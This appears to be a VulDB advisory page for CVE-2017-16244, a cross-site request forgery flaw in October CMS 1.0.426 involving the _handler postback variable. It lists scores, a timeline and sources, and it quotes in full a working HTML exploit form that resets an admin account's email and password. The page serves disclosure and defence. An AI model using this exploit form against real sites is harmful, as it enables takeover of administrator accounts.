October CMS 1.0.426 _handler cross-site request forgery

CVSS Meta Temp Score
CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.
Current Exploit Price (≈)
Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.
CTI Interest Score
Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
6.3$0-$5k0.00

A vulnerability, which was classified as problematic, has been found in October CMS 1.0.426 (Content Management System). This issue affects an unknown function. The manipulation of the argument _handler as part of a Variable leads to a cross-site request forgery vulnerability. Using CWE to declare the problem leads to CWE-352. The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request. Impacted is integrity. The summary by CVE is:

Cross-Site Request Forgery exists in OctoberCMS 1.0.426 (aka Build 426) due to improper validation of CSRF tokens for postback handling, allowing an attacker to successfully take over the victim's account. The attack bypasses a protection mechanism involving X-CSRF headers and CSRF tokens via a certain _handler postback variable.

The bug was discovered 10/31/2017. The weakness was disclosed 11/01/2017 (GitHub Repository). The advisory is shared at github.com. The identification of this vulnerability is CVE-2017-16244 since 10/31/2017. The attack may be initiated remotely. No form of authentication is needed for a successful exploitation. It demands that the victim is doing some kind of user interaction. Technical details as well as a public exploit are known.

A public exploit has been developed by Zain Sabahat in HTML and been published immediately after the advisory. The exploit is available at exploit-db.com. It is declared as functional. The code used by the exploit is:

<html>
  <body>
    <form action="http://host/backend/users/myaccount" method="POST">
      <input type="hidden" name="&#95;handler" value="onSave" />
      <input type="hidden" name="User&#91;login&#93;" value="Admin" />
      <input type="hidden" name="User&#91;email&#93;" value="Hacked&#64;hacked&#46;com" />
      <input type="hidden" name="User&#91;first&#95;name&#93;" value="Admin" />
      <input type="hidden" name="User&#91;last&#95;name&#93;" value="1337" />
      <input type="hidden" name="User&#91;password&#93;" value="YourNewPassword" />
      <input type="hidden" name="User&#91;password&#95;confirmation&#93;" value="YourNewPassword" />
      <input type="hidden" name="redirect" value="0" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

The vulnerability is also documented in the vulnerability database at Exploit-DB (43106).

Productinfo

Type

Vendor

Name

Version

License

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB CVSS-B Score: 🔍
VulDB CVSS-BT Score: 🔍
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 6.5
VulDB Meta Temp Score: 6.3

VulDB Base Score: 4.3
VulDB Temp Score: 3.9
VulDB Vector: 🔍
VulDB Reliability: 🔍

NVD Base Score: 8.8
NVD Vector: 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VectorComplexityAuthenticationConfidentialityIntegrityAvailability
unlockunlockunlockunlockunlockunlock
unlockunlockunlockunlockunlockunlock
unlockunlockunlockunlockunlockunlock

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Cross-site request forgery
CWE: CWE-352 / CWE-862 / CWE-863
ATT&CK: Unknown

Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Functional
Author: Zain Sabahat
Programming Language: 🔍
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

0-Dayunlockunlockunlockunlock
Todayunlockunlockunlockunlock

Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: no mitigation known
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Patch: github.com

Timelineinfo

10/31/2017 🔍
10/31/2017 +0 days 🔍
10/31/2017 +0 days 🔍
11/01/2017 +1 days 🔍
11/01/2017 +0 days 🔍
11/01/2017 +0 days 🔍
11/01/2017 +0 days 🔍
01/05/2023 +1891 days 🔍

Sourcesinfo

Advisory: 4a6e0e1e0e2c3facebc17e0db38c5b4d4cb05bd0
Status: Not defined
Confirmation: 🔍

CVE: CVE-2017-16244 (🔍)
scip Labs: https://www.scip.ch/en/?labs.20161013

Entryinfo

Created: 11/01/2017 07:47
Updated: 01/05/2023 14:07
Changes: 11/01/2017 07:47 (66), 12/11/2019 07:41 (2), 01/05/2023 14:07 (5)
Complete: 🔍

Discussion

No comments yet. Languages: en.

Please log in to comment.

◂ PreviousOverviewNext ▸

Do you need the next level of professionalism?

Upgrade your account now!